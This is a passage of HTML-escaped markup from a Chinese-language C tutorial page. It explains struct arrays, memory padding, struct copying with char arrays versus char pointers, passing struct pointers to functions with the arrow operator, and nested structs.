class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ebook\u003c/span\u003e* \u003cspan class=\"title\"\u003eb1\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003eb1\u003c/code\u003e是一个指针,指向的数据是\u003ccode\u003estruct book\u003c/code\u003e类型的实例。\u003c/p\u003e\u003cp\u003estruct 结构也可以作为数组成员。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003efraction\u003c/span\u003e \u003cspan class=\"title\"\u003enumbers\u003c/span\u003e[1000];\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enumbers[\u003cspan class=\"number\"\u003e0\u003c/span\u003e].numerator = \u003cspan class=\"number\"\u003e22\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enumbers[\u003cspan class=\"number\"\u003e0\u003c/span\u003e].denominator = \u003cspan class=\"number\"\u003e7\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例声明了一个有1000个成员的数组\u003ccode\u003enumbers\u003c/code\u003e,每个成员都是自定义类型\u003ccode\u003efraction\u003c/code\u003e的实例。\u003c/p\u003e\u003cp\u003estruct 结构占用的存储空间,不是各个属性存储空间的总和。因为为了计算效率,C 语言的内存占用空间一般来说,都必须是\u003ccode\u003eint\u003c/code\u003e类型存储空间的倍数。如果\u003ccode\u003eint\u003c/code\u003e类型的存储是4字节,那么 struct 类型的存储空间就总是4的倍数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e a; \u003cspan class=\"type\"\u003eint\u003c/span\u003e b; } s;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(s)); \u003cspan class=\"comment\"\u003e// 8\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,如果按照属性占据的空间相加,变量\u003ccode\u003es\u003c/code\u003e的存储空间应该是5个字节。但是,struct 结构的存储空间是\u003ccode\u003eint\u003c/code\u003e类型的倍数,所以最后的结果是占据8个字节,\u003ccode\u003ea\u003c/code\u003e属性与\u003ccode\u003eb\u003c/code\u003e属性之间有3个字节的“空洞”。\u003c/p\u003e\u003ch3 id=\"struct-的复制\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#struct-%E7%9A%84%E5%A4%8D%E5%88%B6\" class=\"headerlink\" title=\"struct 的复制\"\u003e\u003c/a\u003estruct 的复制\u003c/h3\u003e\u003cp\u003estruct 变量可以使用赋值运算符(\u003ccode\u003e=\u003c/code\u003e),复制给另一个变量,这时会生成一个全新的副本。系统会分配一块新的内存空间,大小与原来的变量相同,把每个属性都复制过去,即原样生成了一份数据。这一点跟数组的复制不一样,务必小心。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ecat\u003c/span\u003e {\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e name[\u003cspan class=\"number\"\u003e30\u003c/span\u003e]; \u003cspan class=\"type\"\u003eshort\u003c/span\u003e age; } a, b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(a.name, \u003cspan class=\"string\"\u003e\u0026#34;Hula\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea.age = \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eb = a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eb.name[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#39;M\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, a.name); \u003cspan class=\"comment\"\u003e// Hula\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, b.name); \u003cspan class=\"comment\"\u003e// Mula\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003eb\u003c/code\u003e是变量\u003ccode\u003ea\u003c/code\u003e的副本,两个变量的值是各自独立的,修改掉\u003ccode\u003eb.name\u003c/code\u003e不影响\u003ccode\u003ea.name\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e上面这个示例是有前提的,就是 struct 结构的属性必须定义成字符数组,才能复制数据。如果稍作修改,属性定义成字符指针,结果就不一样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ecat\u003c/span\u003e {\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* name; \u003cspan class=\"type\"\u003eshort\u003c/span\u003e age; } a, b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea.name = \u003cspan class=\"string\"\u003e\u0026#34;Hula\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea.age = \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eb = a;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ename\u003c/code\u003e属性变成了一个字符指针,这时\u003ccode\u003ea\u003c/code\u003e赋值给\u003ccode\u003eb\u003c/code\u003e,导致\u003ccode\u003eb.name\u003c/code\u003e也是同样的字符指针,指向同一个地址,也就是说两个属性共享同一个地址。因为这时,struct 结构内部保存的是一个指针,而不是上一个例子的数组,这时复制的就不是字符串本身,而是它的指针。并且,这个时候也没法修改字符串,因为字符指针指向的字符串是不能修改的。\u003c/p\u003e\u003cp\u003e总结一下,赋值运算符(\u003ccode\u003e=\u003c/code\u003e)可以将 struct 结构每个属性的值,一模一样复制一份,拷贝给另一个 struct 变量。这一点跟数组完全不同,使用赋值运算符复制数组,不会复制数据,只会共享地址。\u003c/p\u003e\u003cp\u003e注意,这种赋值要求两个变量是同一个类型,不同类型的 struct 变量无法互相赋值。\u003c/p\u003e\u003cp\u003e另外,C 语言没有提供比较两个自定义数据结构是否相等的方法,无法用比较运算符(比如\u003ccode\u003e==\u003c/code\u003e和\u003ccode\u003e!=\u003c/code\u003e)比较两个数据结构是否相等或不等。\u003c/p\u003e\u003ch3 id=\"struct-指针\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#struct-%E6%8C%87%E9%92%88\" class=\"headerlink\" title=\"struct 指针\"\u003e\u003c/a\u003estruct 指针\u003c/h3\u003e\u003cp\u003e如果将 struct 变量传入函数,函数内部得到的是一个原始值的副本。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eturtle\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* name;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* species;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e age;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ehappy\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e turtle t)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e t.age = t.age + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eturtle\u003c/span\u003e \u003cspan class=\"title\"\u003emyTurtle\u003c/span\u003e =\u003c/span\u003e {\u003cspan class=\"string\"\u003e\u0026#34;MyTurtle\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;sea turtle\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e99\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e happy(myTurtle);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Age is %i\\n\u0026#34;\u003c/span\u003e, myTurtle.age); \u003cspan class=\"comment\"\u003e// 输出 99\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003ehappy()\u003c/code\u003e传入的是一个 struct 变量\u003ccode\u003emyTurtle\u003c/code\u003e,函数内部有一个自增操作。但是,执行完\u003ccode\u003ehappy()\u003c/code\u003e以后,函数外部的\u003ccode\u003eage\u003c/code\u003e属性值根本没变。原因就是函数内部得到的是 struct 变量的副本,改变副本影响不到函数外部的原始数据。\u003c/p\u003e\u003cp\u003e通常情况下,开发者希望传入函数的是同一份数据,函数内部修改数据以后,会反映在函数外部。而且,传入的是同一份数据,也有利于提高程序性能。这时就需要将 struct 变量的指针传入函数,通过指针来修改 struct 属性,就可以影响到函数外部。\u003c/p\u003e\u003cp\u003estruct 指针传入函数的写法如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ehappy\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e turtle* t)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehappy(\u0026amp;myTurtle);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003et\u003c/code\u003e是 struct 结构的指针,调用函数时传入的是指针。struct 类型跟数组不一样,类型标识符本身并不是指针,所以传入时,指针必须写成\u003ccode\u003e\u0026amp;myTurtle\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e函数内部也必须使用\u003ccode\u003e(*t).age\u003c/code\u003e的写法,从指针拿到 struct 结构本身。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ehappy\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e turtle* t)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e (*t).age = (*t).age + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e(*t).age\u003c/code\u003e不能写成\u003ccode\u003e*t.age\u003c/code\u003e,因为点运算符\u003ccode\u003e.\u003c/code\u003e的优先级高于\u003ccode\u003e*\u003c/code\u003e。\u003ccode\u003e*t.age\u003c/code\u003e这种写法会将\u003ccode\u003et.age\u003c/code\u003e看成一个指针,然后取它对应的值,会出现无法预料的结果。\u003c/p\u003e\u003cp\u003e现在,重新编译执行上面的整个示例,\u003ccode\u003ehappy()\u003c/code\u003e内部对 struct 结构的操作,就会反映到函数外部。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e(*t).age\u003c/code\u003e这样的写法很麻烦。C 语言就引入了一个新的箭头运算符(\u003ccode\u003e-\u0026gt;\u003c/code\u003e),可以从 struct 指针上直接获取属性,大大增强了代码的可读性。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ehappy\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e turtle* t)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e t-\u0026gt;age = t-\u0026gt;age + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e总结一下,对于 struct 变量名,使用点运算符(\u003ccode\u003e.\u003c/code\u003e)获取属性;对于 struct 变量指针,使用箭头运算符(\u003ccode\u003e-\u0026gt;\u003c/code\u003e)获取属性。以变量\u003ccode\u003emyStruct\u003c/code\u003e为例,假设\u003ccode\u003eptr\u003c/code\u003e是它的指针,那么下面三种写法是同一回事。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// ptr == \u0026amp;myStruct\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emyStruct.prop == (*ptr).prop == ptr-\u0026gt;prop\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"struct-的嵌套\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#struct-%E7%9A%84%E5%B5%8C%E5%A5%97\" class=\"headerlink\" title=\"struct 的嵌套\"\u003e\u003c/a\u003estruct 的嵌套\u003c/h3\u003e\u003cp\u003estruct 结构的成员可以是另一个 struct 结构。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003especies\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* name;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e kinds;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003efish\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* name;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e age;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003especies\u003c/span\u003e \u003cspan class=\"title\"\u003ebreed\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003efish\u003c/code\u003e的属性\u003ccode\u003ebreed\u003c/code\u003e是另一个 struct 结构\u003ccode\u003especies\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e赋值的时候有多种写法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan 